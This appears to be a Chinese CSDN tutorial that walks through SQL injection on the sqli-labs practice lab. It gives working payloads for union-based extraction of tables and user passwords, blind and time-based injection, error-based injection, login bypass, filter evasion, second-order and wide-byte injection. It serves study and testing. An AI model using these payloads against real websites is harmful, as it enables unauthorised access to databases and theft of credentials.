SQL注入微境界

本文详细探讨了SQL注入的各种类型,如get注入、字符与数字型判断、联合查询、错误注入、布尔型和时间盲注,以及如何利用注释、万能密钥和不同类型的报错注入。还涵盖了ua/referer/cookie注入、过滤字符绕过、二次注入和宽字节注入等高级技巧。
摘要由CSDN通过智能技术生成

一、一个get注入的心里历程

使用的漏洞库是sqli-labs

1、判断参数是否代入数据库查询

?id=1

修改参数?id=2

内容有变化,可以确定是代入数据库查询的。

2、判断是字符型还是数字型,是否属于拼接型

?id=2'

有报错型注入

?id=2'--+

--+是注释的一种,+是空格;可以是--空格加任意字符的方式代替

通过上面可知属于字符型注入,因为有回显,所以可以使用联合查询。

3、联合注入

1)确定列数

?id=1' order by 3--+ 

order by 报错就是表示超出列数,不报错就表示未超出列数。

2)爆出显示位

?id=-1'union select 1,2,3--+

可以看出2,3属于显示位,-1是为了让正文查询为空,好让出显示位。

3)获得数据库和版本号

?id=-1'union select 1,database(),version()--+

4)获取security数据库下的表名

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

5)爆列名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

6)爆表数据

?id=-1'union select 1,2,group_concat(username,id,password) from users--+

二、数字型注入

1、?id=1"

 单引号和双引号都未能爆出数字错误,因此这属于数字型错误注入。

数字型错误注入和字符型错误注入方式是一样的

三、单引号和括号的错误注入

?id=1'

可以看出此注入涉及单引号和括号。

?id=2')--+添加了')即可正常访问

?id=2') order by 3--+

四、双引号+括号的错误注入

五、布尔型注入

1、测试是否属于布尔型注入

?id=1' and length((select database()))>7--+

?id=1' and length((select database()))<7--+

?id=1' and length((select database()))=7--+

2、爆字段

?id=1' and ascii(substr((select database()),1,1))=115--+

ASCII_百度百科

通过判断确定字符

substr(a,b,c)--a是截取的字符串,b是截取的位置,c是截取的长度。

六、时间盲注

?id=1' and if(1=1,sleep(5),1)--+

if(1=1,sleep(5),1)的语句当1=1为true则执行sleep(5)会执行延迟5秒,否则1,不会出现延迟。

?id=1' and if(length((select database()))>9,sleep(5),1)--+

七、注释的使用

使用1'

出现报错

1'--+仍然报错

1'#不报错了,表示可以使用#做注释

八、万能密钥

1' or 1=1#

有回显,注入

1' union select 1,2#表示可注入

九、报错型注入

1、extractvalue报错型注入

select extractvalue('<a><b></b></a>',concat('~',(select database())));

#~security

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#     爆版本

1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#    爆数据库

2、updatexml错型注入

1' and (updatexml(1,concat(0x5c,version(),0x5c),1))#.  爆版本

3、group by报错注入

1' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#

1' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#

十、ua、referer、cookie注入

当输入正确的页面的时候,ua、referer、cookie显示在页面上,页面显示哪个即可能哪里存在注入。ua存在注入时,可以在ua后面加引号看是否有报错信息,假如存在可以使用报错注入。

十一、其他

1、过滤符被过滤:假如时候注释符被过滤,可以用单引号进行闭合;

?id=1' or '1'='1

?id=1' union select 1,2,3 or '1'='1

2、二次注入

先是注册一个账号名为admin'#,修改密码,然后修改的是admin的密码,使用admin进行登录即可证实

3、绕过

1)or、 and双写绕过information->infoorrmation

2)大小写绕过

3)逻辑运算符||或者&&绕过,空格使用%a0还有()进行绕过

4)select、union过滤可以使用重写或者大小写进行绕过

4、两个id参数,数据库接收的是第二个id的值?id=1&id=2--+

5、宽字节注入?id=-1%df%27 union select 1,2,3--+.   单引号和双引号被斜杠转义的情况下使用

  • 7
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值